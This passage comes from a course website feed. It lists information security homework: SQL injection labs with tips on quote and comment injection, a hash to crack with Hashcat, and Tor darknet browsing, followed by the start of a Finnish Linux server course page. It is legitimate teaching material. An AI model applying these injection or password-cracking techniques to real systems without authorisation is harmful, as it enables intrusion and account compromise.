&lt;li&gt;If your ssh command gives error: &quot;Terminal initialization failure. See server logs for more info. Hint: Try requesting a different terminal environment. Connection to century.underthewire.tech closed.&quot;, use &#39;export TERM=&quot;xterm-256color&quot;&#39;. (As noted by &lt;a href=&quot;https://leo.oliver.nz/posts/2023/09/oscp-practise-proving-grounds-dvr4-walkthrough/&quot;&gt;Leo&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h4-johnny-tables&quot;&gt;h4 Johnny Tables &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#h4-johnny-tables&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Remember to keep it safe, legal and ethical. Especially if you grasp OWASP 10, you still can&#39;t try these to machines you don&#39;t own.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;You&#39;re only allowed to start these tasks after accepting course rules in Moodle.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Read and summarize (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary. Try to get an idea, then briefly explain in your own words. Be brief. Add your own comment, question or idea on each.)
&lt;ul&gt;
&lt;li&gt;OWASP: OWASP 10 2021.
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/Top10/A01_2021-Broken_Access_Control/&quot;&gt;A01:2021 - Broken Access Control &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/Top10/A05_2021-Security_Misconfiguration/&quot;&gt;A05:2021 - Security Misconfiguration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/&quot;&gt;A06:2021 - Vulnerable and Outdated Components&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/Top10/A03_2021-Injection/&quot;&gt;A03:2021 - Injection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;(ps. I think these might be my favourite vulnerability categories...)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Munroe: &lt;a href=&quot;https://xkcd.com/327/&quot;&gt;xkcd 327: Exploits of a Mom&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Goat. &lt;a href=&quot;https://terokarvinen.com/2023/webgoat-2023-4-ethical-web-hacking/&quot;&gt;Install WebGoat 2023.4&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;b) F12. Solve Webgoat 2023.4: General: Developer tools.&lt;/li&gt;
&lt;li&gt;c) Not outdated. Update all operating system and all applications in your Linux.&lt;/li&gt;
&lt;li&gt;d) Sequel. Solve &lt;a href=&quot;https://sqlzoo.net/wiki/SQL_Tutorial&quot;&gt;SQLZoo&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;0 SELECT basics&lt;/li&gt;
&lt;li&gt;2 SELECT from World: First two subtasks: &quot;1. You can use WHERE...&quot; and &quot;2. Find the countries...&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;e) Solve Portswigger Labs: &lt;a href=&quot;https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data&quot;&gt;Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data&lt;/a&gt;. Explain how and why! How can you find the vulnerabitiy? What each part of the exploit does?&lt;/li&gt;
&lt;li&gt;m) Voluntary bonus: WebGoat: SQL Injection&lt;/li&gt;
&lt;li&gt;n) Voluntary bonus: solve some &lt;a href=&quot;https://portswigger.net/web-security/all-labs&quot;&gt;Portswigger labs&lt;/a&gt; marked as Apprentice (easy level)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tips:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/information-security/#stuck&quot;&gt;If you get stuck&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;F12 Developer tools: I&#39;m using Firefox F12. But it probably works on Chromium, too.&lt;/li&gt;
&lt;li&gt;You can update all software in Linux with
&lt;ul&gt;
&lt;li&gt;Open terminal&lt;/li&gt;
&lt;li&gt;&#39;sudo apt-get update&#39;&lt;/li&gt;
&lt;li&gt;&#39;sudo apt-get dist-upgrade&#39;&lt;/li&gt;
&lt;li&gt;If this is your first full upgrade, reboot (it&#39;s only needed for kernel upgrades)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;SQLZoo
&lt;ul&gt;
&lt;li&gt;If you&#39;ve got a lot of experience with databases already and SQLZoo is too easy, you can instead install a relational database (Postgre, Mariadb...) and show CRUD (create, read, update, delete) operations using command line client and SQL.&lt;/li&gt;
&lt;li&gt;Yes, I think they really run your queries on database management system&lt;/li&gt;
&lt;li&gt;In SQL, you can often write long numbers in engineering notation, nine zeroes after two as 2e9 instead of 2000000000&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Johnny tables
&lt;ul&gt;
&lt;li&gt;You only need your browser (even though the official example solution uses a paid tool by the makers of the lab)&lt;/li&gt;
&lt;li&gt;Try different places. But if you&#39;re completely out of options: peek the solution, apply it to use just browser (no mitm proxy needed), mention in your report the hints used - and try to explain &lt;em&gt;how&lt;/em&gt; the solution works.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;WebGoat
&lt;ul&gt;
&lt;li&gt;What kind of quotes did SQL have?&lt;/li&gt;
&lt;li&gt;If you raise everyone&#39;s salaries, are you the richest anymore?&lt;/li&gt;
&lt;li&gt;The names here are the same as in OWASP 10 2021 and OWASP 10 2017.&lt;/li&gt;
&lt;li&gt;In injections, it&#39;s nice to know:
&lt;ul&gt;
&lt;li&gt;SQL string delimiter (single quote, aphostrophe) &quot;&#39;&quot; (end of user input, start of my hostile injection)&lt;/li&gt;
&lt;li&gt;SQL comment (double dash) &quot;--&quot; (end of my evil injection, you can ignore the rest, dear database management system)&lt;/li&gt;
&lt;li&gt;There are many ways to do SQL injection&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;b) Injected. Solve WebGoat:
&lt;ul&gt;
&lt;li&gt;A1 Injection (intro)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Update 2025-09-11 w37 Thu: Fixed a typo in &quot;SELECT FROM world&quot;.&lt;/p&gt;
&lt;h3 id=&quot;h5-uryyb-greb&quot;&gt;h5 Uryyb, Greb! &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#h5-uryyb-greb&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Public keys. You use them every day. Would you like to know more?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Also starring: my favourite crypto textbook. PGP and SSH, my favourite encryption tools / standards.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Read and summarize (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary, feel free to write more if you like)
&lt;ul&gt;
&lt;li&gt;€ Schneier 2015: Applied Cryptography: &lt;a href=&quot;https://learning.oreilly.com/library/view/applied-cryptography-protocols/9781119096726/08_chap01.html#chap01-sec006&quot;&gt;Chapter 1: Foundations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/pgp-encrypt-sign-verify/&quot;&gt;PGP - Send Encrypted and Signed Message - gpg&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Install OpenSSH server, connect to it using &#39;ssh&#39; client.&lt;/li&gt;
&lt;li&gt;b) Automate SSH connection using public keys.&lt;/li&gt;
&lt;li&gt;c) Password manager, open and cloudless. Choose a password manager that 1) works without cloud 2) is free, open source sofware. Install it. Demonstrate its use. Explain why a password manager is needed i.e. what kind of attacks or threats it protects against.&lt;/li&gt;
&lt;li&gt;d) &lt;em&gt;Alternative: Do either d) &quot;Pretty Good indeed&quot; or s) &quot;ETAOIN&quot;&lt;/em&gt;. Pretty Good indeed. Encrypt and decrypt a message with &#39;gnupg&#39;, using PGP public key cryptography. (Note that here you learn each step; for end users, you can often automate and make it look simple)&lt;/li&gt;
&lt;li&gt;e) Presentation material. Return your presentation material (e.g. slides) as h9. They can be a PDF or a web page. (This task does not require tests with a computer. If you have already returned h9, you don&#39;t need to do it again. Only PDF and web page formats accepted, no docx, no pptx, no odt.)&lt;/li&gt;
&lt;li&gt;m) Voluntary bonus: Encrypt and decrypt messages using a tool other than &#39;gnupg&#39;. Explain each step. Why did you choose the tool you used here? Evaluate the tool.&lt;/li&gt;
&lt;li&gt;n) Voluntary bonus: send and receive encrypted message over email.&lt;/li&gt;
&lt;li&gt;o) Voluntary bonus: Find out frequency distribution of letters for a language that you know (other than English). What are the six most common letters? (This subtask y does not require tests with a computer if the question can be answered without them)&lt;/li&gt;
&lt;li&gt;r) Voluntary bonus: TLS. Choose a transport layer security (TLS) certificate used for the web. Explain key fields. How do you / browser know it&#39;s legit? Who says so?&lt;/li&gt;
&lt;li&gt;s) &lt;em&gt;Alternative: Do either d) &quot;Pretty Good indeed&quot; or s) &quot;ETAOIN&quot;&lt;/em&gt;: ETAOIN. Crack this ciphertext:
&lt;ul&gt;
&lt;li&gt;HDMH&#39;B TH. KWU&#39;YI AWR WSSTOTMJJK M OWQINYIMLIY! MB KWU BII, BTGPJI BUNBHTHUHTWA OTPDIYB OMA NI NYWLIA RTHD SYIEUIAOK MAMJKBTB. BII KWU MH DHHP://HIYWLMYCTAIA.OWG&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;t) Voluntary bonus, easy: try rot13, the military grade top-secret encryption of the top-2 empire of year zero. Could double rot13 provide extra security? Why?&lt;/li&gt;
&lt;li&gt;u) Voluntary difficult multiweek bonus, requries coding skills: Cryptopals (recommended, if you have what it takes).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tips:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Gnupg is explained in the article.&lt;/li&gt;
&lt;li&gt;I do hope you&#39;re using a password manager. If not, this is a good day to start.&lt;/li&gt;
&lt;li&gt;Frequency distributions for most languages can be found in search engines and probably Wikipedia&lt;/li&gt;
&lt;li&gt;ETAOIN
&lt;ul&gt;
&lt;li&gt;This challenge can be solved with pen and paper, no coder skills required. (Like most things, it&#39;s faster with a computer, though.)&lt;/li&gt;
&lt;li&gt;Just like this course, the cleartext is in English&lt;/li&gt;
&lt;li&gt;Looking at word lengths and spaces, this ciphertext is likely using a simple substitution cipher.&lt;/li&gt;
&lt;li&gt;Use your eyes - can you identify possible common words or parts of them?&lt;/li&gt;
&lt;li&gt;After ruling out Caesar (e.g. rot13), we can use &lt;a href=&quot;https://en.wikipedia.org/wiki/Frequency_analysis&quot;&gt;frequency analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Letter_frequency&quot;&gt;Most common letter in English is E&lt;/a&gt;, the second most common is T... The frequency table is ETAOIN shrdlu.
&lt;ul&gt;
&lt;li&gt;Frequency is about statistics and probability. It&#39;s not guaranteed that E is the most common, it&#39;s just likely. Especially short texts make statistical analysis less efficient.&lt;/li&gt;
&lt;li&gt;It&#39;s much more likely that most common letters are from ETAOIN than the from the least frequent j, x or z.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Use your sisu
&lt;ul&gt;
&lt;li&gt;If first guess does not crack it, try another one.&lt;/li&gt;
&lt;li&gt;Make notes as you work.&lt;/li&gt;
&lt;li&gt;Document your approaches and how far you can get, even if you couldn&#39;t crack the whole thing.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.oreilly.com/library/view/temporary-access/&quot;&gt;O&#39;Reilly Learning € (former Safari)&lt;/a&gt; is a bit pricey, but Haaga-Helia students get free access trough &lt;a href=&quot;https://libguides.haaga-helia.fi/az.php&quot;&gt;Haaga-Helia library A-Z page&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;SSH is the leading tool to control servers
&lt;ul&gt;
&lt;li&gt;&#39;sudo apt-get update&#39; &#39;sudo apt-get install ssh&#39;, &#39;sudo systemctl start ssh&#39;, &#39;whoami&#39;, &#39;ssh tero@localhost&#39;, &#39;exit&#39;&lt;/li&gt;
&lt;li&gt;Public key authentication &#39;ssh-keygen&#39;, &#39;ssh-copy-id tero@localhost&#39;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Deadline for this task is after winter holiday, 2025-02-24 w09 Mon 11:00. But as they say, early bird gets the worm.&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;h6-september2024&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 id=&quot;h6-february2026&quot;&gt;h6 February2026! &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#h6-february2026&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Read or watch and summarize (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary, feel free to write more if you like)
&lt;ul&gt;
&lt;li&gt;€ Schneier 2015: Applied Cryptography: &lt;a href=&quot;https://learning.oreilly.com/library/view/applied-cryptography-protocols/9781119096726/10_chap02.html#chap02-sec003&quot;&gt;2.3 One-Way Functions&lt;/a&gt; and 2.4 One-Way Hash Functions.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Install Hashcat. Test it with a sample hash. See Karvinen 2022: &lt;a href=&quot;https://terokarvinen.com/2022/cracking-passwords-with-hashcat/&quot;&gt;Cracking Passwords with Hashcat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;b) Crack this hash: d595b2086532422bbe654bc07ea030df &lt;/li&gt;
&lt;li&gt;m) Voluntary: Compile John the Ripper, Jumbo version. Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/crack-file-password-with-john/&quot;&gt;Crack File Password With John&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;n) Voluntary: Crack a zip file password&lt;/li&gt;
&lt;li&gt;o) Voluntary: create a password protected file other than ZIP. Crack the password. How many formats can you handle?&lt;/li&gt;
&lt;li&gt;p) Voluntary: Watch and summarize: Forbes 2019: Jackpotting ATM&#39;s (Automated Teller Machines) - Its easier than you might think. Presented in Disobey 2019.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tips:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;O&#39;Reilly Learning € (former Safari) is a bit pricey, but Haaga-Helia students get free access trough &lt;a href=&quot;https://libguides.haaga-helia.fi/az.php&quot;&gt;Haaga-Helia library A-Z page&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h7-going-dark&quot;&gt;h7 Going Dark &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#h7-going-dark&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;In Finland, it&#39;s legal to use TOR at the time of writing. If you&#39;re remotely taking this course online from another juristiction, laws might be different. Obviously, it&#39;s illegal to do illegal things in TOR, just like it&#39;s illegal to do illegal things anywhere. Only do legal things.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;x) Read and summarize (briefly, e.g. with some bullets)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Quintin 2014: &lt;a href=&quot;https://www.eff.org/deeplinks/2014/07/7-things-you-should-know-about-tor&quot;&gt;7 Things You Should Know About Tor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Shavers &amp;amp; Bair 2016: &lt;a href=&quot;https://learning.oreilly.com/library/view/hiding-behind-the/9780128033524/XHTML/B9780128033401000021/B9780128033401000021.xhtml#s0010&quot;&gt;Hiding Behind the Keyboard: The Tor Browser €&lt;/a&gt;; subchapters: &quot;Introduction&quot;, &quot;History and Intended Use of The Onion Router&quot;, &quot;How The Onion Router Works&quot;, &quot;Tracking Criminals Using TOR&quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;a) Install TOR browser and access TOR network (.onion addresses).&lt;/p&gt;
&lt;p&gt;b) Browse TOR network, find, take screenshots and comment&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;search engine for onion sites&lt;/li&gt;
&lt;li&gt;marketplace&lt;/li&gt;
&lt;li&gt;forum&lt;/li&gt;
&lt;li&gt;a site for a well known organization that has a physical street address in the real world&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;c) Voluntary: Browse I2P network. Install necessary software.&lt;/p&gt;
&lt;p&gt;d) Voluntary or alternative task: No onion. You can do this task in place of a and b. Install a darknet browser other than TOR, such as I2P or Freenet. Search, screenshot and describe examples of contents there.&lt;/p&gt;
&lt;p&gt;e) Voluntary: Crypto hunter. Find Bitcoin address from a darknet site. Use the public ledger to find out if money has been transferred to that address.&lt;/p&gt;
&lt;p&gt;Tips&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Alternatives for installing TOR
&lt;ul&gt;
&lt;li&gt;https://www.torproject.org/download/ (probably easiest)&lt;/li&gt;
&lt;li&gt;sudo apt-get update; sudo apt-get install torbrowser-launcher&lt;/li&gt;
&lt;li&gt;https://tails.net/&lt;/li&gt;
&lt;li&gt;https://www.whonix.org/&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;OPSEC is hard, any single tool will not magically make you untraceable&lt;/li&gt;
&lt;li&gt;Be cautious: don&#39;t trust anonymous sites, don&#39;t enter your name or other personal details anywhere.&lt;/li&gt;
&lt;li&gt;O&#39;Reilly Learning € (former Safari) is a bit pricey, but Haaga-Helia students get free access trough &lt;a href=&quot;https://libguides.haaga-helia.fi/az.php&quot;&gt;Haaga-Helia library A-Z page&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Bitcoin explorer&lt;/li&gt;
&lt;li&gt;Other darknets include
&lt;ul&gt;
&lt;li&gt;GNUnet&lt;/li&gt;
&lt;li&gt;Hypanet&lt;/li&gt;
&lt;li&gt;I2P&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;This mostly applies to online courses: If you are currently in a juristiction where using TOR is illegal (e.g. taking the course remotely from a repressive country), you obviously can&#39;t install it and do the related tasks if it&#39;s illegal where you are. For those cases, alternative task is: based on literature only (no hands on tests, no installation), compare anonymous/pseudonymous networks, such as TOR, I2P, Freenet and others. How do their goals, technology and other features differ? How are they similar?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The deadline for voluntary h8 is the same as h7.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;h8-bonus&quot;&gt;h8 bonus &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#h8-bonus&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;a) Voluntary: Improved. List and link the tasks you have significantly improved after they have been cross evaluated.&lt;/li&gt;
&lt;li&gt;b) Voluntary: Extras: List and link voluntary extra tasks you have completed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;The deadline for voluntary h8 is the same as h7.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&quot;adminstrivia&quot;&gt;Adminstrivia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#adminstrivia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;I will keep updating this page during and after the course.&lt;/em&gt;&lt;/p&gt;
</content>
  </entry>

  <entry>
    <title>Linux Palvelimet 2026 alkukevät online</title>
    <link href="https://terokarvinen.com/linux-palvelimet/"/>
    <id>https://terokarvinen.com/linux-palvelimet/</id>
    <published>2026-01-05T16:58:00+02:00</published>
    <updated>2026-01-05T16:58:00+02:00</updated>
    <content type="html">&lt;div lang=&quot;en&quot;&gt;
&lt;figure class=&quot;right&quot; style=&quot;max-width: 84px&quot;&gt;
&lt;a href=&quot;https://terokarvinen.com/linux-palvelimet/tux.w265.hce4f371e.png&quot; class=&quot;lightbox&quot;&gt;&lt;picture&gt;
&lt;source type=&quot;image/avif&quot; srcset=&quot;https://terokarvinen.com/linux-palvelimet/tux.w265.hce4f371e.avif 265w&quot; sizes=&quot;(max-width: 84px) 100vw, 84px&quot;&gt;
&lt;img src=&quot;https://terokarvinen.com/linux-palvelimet/tux.w265.hce4f371e.png&quot; srcset=&quot;https://terokarvinen.com/linux-palvelimet/tux.w265.hce4f371e.png 265w&quot; sizes=&quot;(max-width: 84px) 100vw, 84px&quot; width=&quot;265&quot; height=&quot;314&quot; alt=&quot;&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;
&lt;/picture&gt;&lt;/a&gt;
&lt;figcaption&gt;Tux the Linux penguin&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Learn to manage your own Linux server – in 8 weeks.&lt;/p&gt;
&lt;p&gt;100% remote. Weekly video conference + a lot of individual work. Beginners welcome. Excellent feedback. In Finnish.&lt;/p&gt;
&lt;/div&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Course name and code:&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Linux palvelimet&lt;/strong&gt; ICI003AS2A-&lt;strong&gt;3016&lt;/strong&gt; (&lt;a href=&quot;https://opinto-opas.haaga-helia.fi/course/ICI003AS2A&quot;&gt;course description in study guide&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Timing&lt;/td&gt;&lt;td&gt;2026 period 3, &lt;strong&gt;early spring&lt;/strong&gt;, weeks w03-w11, ei w08&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Credits&lt;/td&gt;&lt;td&gt;5 ECTS&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Classes&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Tue 14:00 - 16:45&lt;/strong&gt; online, mandatory participation (&lt;a href=&quot;https://terokarvinen.com/linux-palvelimet/#schedule&quot;&gt;schedule&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Max students&lt;/td&gt;&lt;td&gt;50. Sold out, queue started&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Language&lt;/td&gt;&lt;td&gt;Finnish (+reading material in English)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Remote&lt;/td&gt;&lt;td&gt;Yes, &lt;strong&gt;fully remote&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Feedback&lt;/td&gt;&lt;td&gt;4.7 / 5 &lt;strong&gt;&lt;a href=&quot;https://terokarvinen.com/linux-palvelimet/#comments&quot;&gt;Excellent feedback&lt;/a&gt;&lt;/strong&gt; &lt;img src=&quot;https://terokarvinen.com/img/five-stars-15.png&quot; width=&quot;85&quot; height=&quot;15&quot; alt=&quot;Five star experience&quot;&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Services&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://hhmoodle.haaga-helia.fi/course/view.php?id=45169&quot;&gt;Moodle&lt;/a&gt;, Video conference, Laksu. Optionally &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Tero&#39;s list&lt;/a&gt;.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;First class&lt;/td&gt;&lt;td&gt;&lt;strong&gt;2026-01-13 w03 Tue 14:00&lt;/strong&gt;, Video conference link will be in Moodle on the same day&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Enroll&lt;/td&gt;&lt;td&gt;Sold out. For a change at a place from the queue, enroll in Peppi and join the first class.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The course is in Finnish (and requires full fluency in Finnish), so the rest of this page is in Finnish.&lt;/p&gt;
&lt;h1 id=&quot;tavoite&quot;&gt;Tavoite&lt;/h1&gt;
&lt;p&gt;Opiskele 8 viikkoa ja hallitset omaa Linux-palvelinta.&lt;/p&gt;
&lt;p&gt;Opintojakson suoritettuaan opiskelija:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Osaa hallita Linuxia palvelimena&lt;/li&gt;
&lt;li&gt;Osaa tehdä tärkeimmät asetukset tärkeimmille palvelimille (Apache, OpenSSH)&lt;/li&gt;
&lt;li&gt;Osaa suojata weppipalvelimen TLS-salauksella ja hankkia sertifikaatin (https / lukon kuva) &lt;del&gt;Osaa asentaa www-ohjelmointiin sopivan alustan&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;Osaa tehdä itselleen uusia asetuksia palvelinohjelmistoihin ohjeiden avulla&lt;/li&gt;
&lt;li&gt;Tietää esimerkkejä palvelintilan tarjoajista ja hinnoista sekä fyysisten palvelinten vastaavista ominaisuuksista&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;osallistumiseen-tarvitaan&quot;&gt;Osallistumiseen tarvitaan&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Jitsi-videokonfferenssiin: tietokone, kuulokemikrofoni, kamera, internet-yhteys.&lt;/li&gt;
&lt;li&gt;Linux-käyttöön: tietokone, jolla voit ohjeiden mukaan asentaa virtuaalikoneen ja Linuxin. Koneella tarvitaan noin 30 GB kovalevytilaa ja 2-4 gigatavua vapaata RAM-muistia. Tarvitset pääkäyttäjän oikeudet, jotta voit asentaa virtuaalikoneen ja Linuxin ohjeiden avulla.&lt;/li&gt;
&lt;li&gt;Aikaa: 8 iltaa oppitunteihin + joka viikko runsaasti aikaa läksyihin (oppitunneille pitää osallistua aktiivisesti ja kaikki läksyt palauttaa)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Linuxia ei tarvitse osata yhtään. Omalle tietokoneelle pitäisi osata asentaa ohjelmia, esimerkiksi
virtuaalikone. Ja tietysti ratkoa tavallisia tietokoneongelmia kokeilemalla ja wepistä tietoa hakemalla.&lt;/p&gt;
&lt;p&gt;Macintosh käyttäjät: Suosittelen tavallista PC-tietokonettta (nörttikielellä amd64). Uudella Macintoshilla (M1, M2, M3, M4) virtuaalikoneiden asentamisessa on enemmän työtä ja itsenäistä selvittelyä.&lt;/p&gt;
&lt;p&gt;&lt;span id=&quot;agenda&quot;&gt;&lt;/span&gt;
&lt;span id=&quot;schedule&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id=&quot;aikataulu&quot;&gt;Aikataulu &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#aikataulu&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kurssin kahdeksan kertaa jakautuvat neljään osaan: peruskäyttö, demonit, automatisointi ja loppuhuipennus. Oppitunnit edellyttävät aktiivista osallistumista oppitunteihin lukkariin merkittynä aikana.&lt;/p&gt;
&lt;p&gt;Oppitunnit ovat &lt;strong&gt;tiistaisin 14:00&lt;/strong&gt; - 16:45 videokonfferenssina.&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Viikko&lt;/th&gt;&lt;th&gt;Aihe&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Peruskäyttö&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-01-13 w03 ti&lt;/td&gt;&lt;td&gt;1. Tavoitteet ja kokonaiskuva. Raportit. Linuxin asennus.&lt;/td&gt;&lt;/tr&gt;
